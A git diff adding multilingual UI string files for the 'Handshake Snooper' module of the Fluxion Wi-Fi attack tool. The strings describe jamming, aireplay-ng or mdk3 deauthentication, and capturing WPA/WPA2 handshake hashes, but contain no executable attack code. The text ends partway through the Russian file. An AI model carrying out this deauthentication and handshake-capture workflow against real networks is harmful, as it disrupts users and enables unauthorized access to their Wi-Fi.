+HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" +HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." +HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." +HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." +HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." +HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." +HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." +HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/de.sh b/attacks/Handshake Snooper/language/de.sh new file mode 100755 index 0000000..ebae27b --- /dev/null +++ b/attacks/Handshake Snooper/language/de.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Erwirbt WPA/WPA2-Verschlüsselungs-Hashes. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Select a method of handshake retrieval" +HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" +HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" +HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." +HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." +HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." +HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." +HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." +HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." +HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/el.sh b/attacks/Handshake Snooper/language/el.sh new file mode 100755 index 0000000..c998fc1 --- /dev/null +++ b/attacks/Handshake Snooper/language/el.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Αποκτά τα hashes κρυπτογράφησης WPA/WPA2. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Διαλεξτε μια μεθοδο για την αποκτηση του handshake" +HandshakeSnooperMonitorMethodOption="Παρακολουθηση (${CYel}αβλαβης$CClr)" +HandshakeSnooperAireplayMethodOption="aireplay-ng αποσυνδεση (${CRed}επιθετικη$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 αποσυνδεση (${CRed}επιθετικη$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="Ανα ποση ωρα να ελεγχω για το handshake?" +HandshakeSnooperVerifierInterval30SOption="Καθε 30 δευτερολεπτα(${CGrn}προτεινομενο${CClr})." +HandshakeSnooperVerifierInterval60SOption="Καθε 60 δευτερολεπτα." +HandshakeSnooperVerifierInterval90SOption="Καθε 90 δευτερολεπτα." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="Πως να κανω την επιβεβαιωση?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Ασυγχρονα (${CYel}γρηγορα συστηματα μονο${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Συγχρονισμενα (${CGrn}προτεινομενο${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}ανιχνευτης Handshake$CClr ελεγκτης υπηρεσιας τρεχει." +HandshakeSnooperSnoopingForNSecondsNotice="ελεγχος για \$HandshakeSnooperVerifierInterval δευτερολεπτα." +HandshakeSnooperStoppingForVerifierNotice="τερματισμος ανιχνευτη & ελεγχος για hashes." +HandshakeSnooperSearchingForHashesNotice="ψαχνω για hashes στο προσληφθεν αρχειο." +HandshakeSnooperArbiterAbortedWarning="${CYel}τερματιστηκε${CClr}: Η διαδικασια τερματιστηκε, δε βρεθηκε εγκυρο hash." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Επιτυχες${CClr}: Ενα εγκυρο hash βρεθηκε και αποθηκευτηκε στη βαση δεδομενων του Fluxion." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Ελεγκτης$CBYel η επιθεση ολοκληρωθηκε,κλειστε αυτο το παραθυρο και ξεκινηστε μια αλλη επιθεση.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END Ζαρτας diff --git a/attacks/Handshake Snooper/language/en.sh b/attacks/Handshake Snooper/language/en.sh new file mode 100755 index 0000000..3fe7ef6 --- /dev/null +++ b/attacks/Handshake Snooper/language/en.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Acquires WPA/WPA2 encryption hashes. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Select a method of handshake retrieval" +HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" +HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" +HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." +HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." +HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." +HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." +HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." +HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." +HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/es.sh b/attacks/Handshake Snooper/language/es.sh new file mode 100755 index 0000000..63f3c69 --- /dev/null +++ b/attacks/Handshake Snooper/language/es.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Adquiere los hashes de cifrado WPA/WPA2. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Select a method of handshake retrieval" +HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" +HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" +HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." +HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." +HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." +HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." +HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." +HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." +HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/fr.sh b/attacks/Handshake Snooper/language/fr.sh new file mode 100755 index 0000000..7e4afa1 --- /dev/null +++ b/attacks/Handshake Snooper/language/fr.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Acquitte les hachages de cryptage WPA/WPA2. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Sélectionnez une méthode de récupération de handshake" +HandshakeSnooperMonitorMethodOption="Monitorer (${CYel}passif$CClr)" +HandshakeSnooperAireplayMethodOption="Désauthentification aireplay-ng (${CRed}aggressif$CClr)" +HandshakeSnooperMdk3MethodOption="Désauthentification mdk3 (${CRed}aggressif$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" +HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." +HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." +HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." +HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." +HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." +HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." +HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/it.sh b/attacks/Handshake Snooper/language/it.sh new file mode 100755 index 0000000..2308c4c --- /dev/null +++ b/attacks/Handshake Snooper/language/it.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Acquisisce gli hash di crittografia WPA/WPA2. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Seleziona il metodo di scoperta dell'handshake" +HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passivo$CClr)" +HandshakeSnooperAireplayMethodOption="deautenticazione aireplay-ng (${CRed}aggressivo$CClr)" +HandshakeSnooperMdk3MethodOption="deautenticazione mdk3 (${CRed}aggressivo$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="Ogni quanto il verificatore deve controllare per l'handshake?" +HandshakeSnooperVerifierInterval30SOption="Ogni 30 secondi (${CGrn}raccomandato${CClr})." +HandshakeSnooperVerifierInterval60SOption="Ogni 60 secondi." +HandshakeSnooperVerifierInterval90SOption="Ogni 90 secondi." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="Come deve avvenire la verifica?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="In modo asincrono (${CYel}solo sistemi veloci${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="In modo sincrono (${CGrn}raccomandato${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon avviato." +HandshakeSnooperSnoopingForNSecondsNotice="Snooping per \$HandshakeSnooperVerifierInterval secondi." +HandshakeSnooperStoppingForVerifierNotice="Stop dello snooper & Ricerca degli hash." +HandshakeSnooperSearchingForHashesNotice="Ricerca degli hash nel file di cattura." +HandshakeSnooperArbiterAbortedWarning="${CYel}Cancellato${CClr}: L'operazione è stata cancellata, nessun hash trovato." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Riuscito${CClr}: Un hash valido è stato rilevato e salvato nel database fluxion." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attacco completato, chiudi questa finestra ed inizia un nuovo attacco.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/pl.sh b/attacks/Handshake Snooper/language/pl.sh new file mode 100755 index 0000000..3fe7ef6 --- /dev/null +++ b/attacks/Handshake Snooper/language/pl.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Acquires WPA/WPA2 encryption hashes. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Select a method of handshake retrieval" +HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" +HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" +HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." +HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." +HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." +HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." +HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." +HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." +HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/pt-br.sh b/attacks/Handshake Snooper/language/pt-br.sh new file mode 100755 index 0000000..3fe7ef6 --- /dev/null +++ b/attacks/Handshake Snooper/language/pt-br.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Acquires WPA/WPA2 encryption hashes. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Select a method of handshake retrieval" +HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" +HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" +HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." +HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." +HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." +HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." +HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." +HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." +HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/ro.sh b/attacks/Handshake Snooper/language/ro.sh new file mode 100755 index 0000000..5b638a7 --- /dev/null +++ b/attacks/Handshake Snooper/language/ro.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Obțineți hash criptografic WPA/WPA2. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Select a method of handshake retrieval" +HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" +HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" +HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." +HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." +HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." +HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HandshakeSnooperVerifierInterval seconds." +HandshakeSnooperStoppingForVerifierNotice="Stopping snooper & checking for hashes." +HandshakeSnooperSearchingForHashesNotice="Searching for hashes in the capture file." +HandshakeSnooperArbiterAbortedWarning="${CYel}Aborted${CClr}: The operation's been aborted, no valid hash was found." +HandshakeSnooperArbiterSuccededNotice="${CGrn}Success${CClr}: A valid hash was detected and saved to fluxion's database." +HandshakeSnooperArbiterCompletedTip="${CBCyn}Handshake Snooper$CBYel attack completed, close this window and start another attack.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/ru.sh b/attacks/Handshake Snooper/language/ru.sh new file mode 100755 index 0000000..cc86358 --- /dev/null +++ b/attacks/Handshake Snooper/language/ru.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Получает зашифрованные WPA/WPA2 хэши (рукопожатия). + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Выберите интерфейс для мониторинга и глушения." 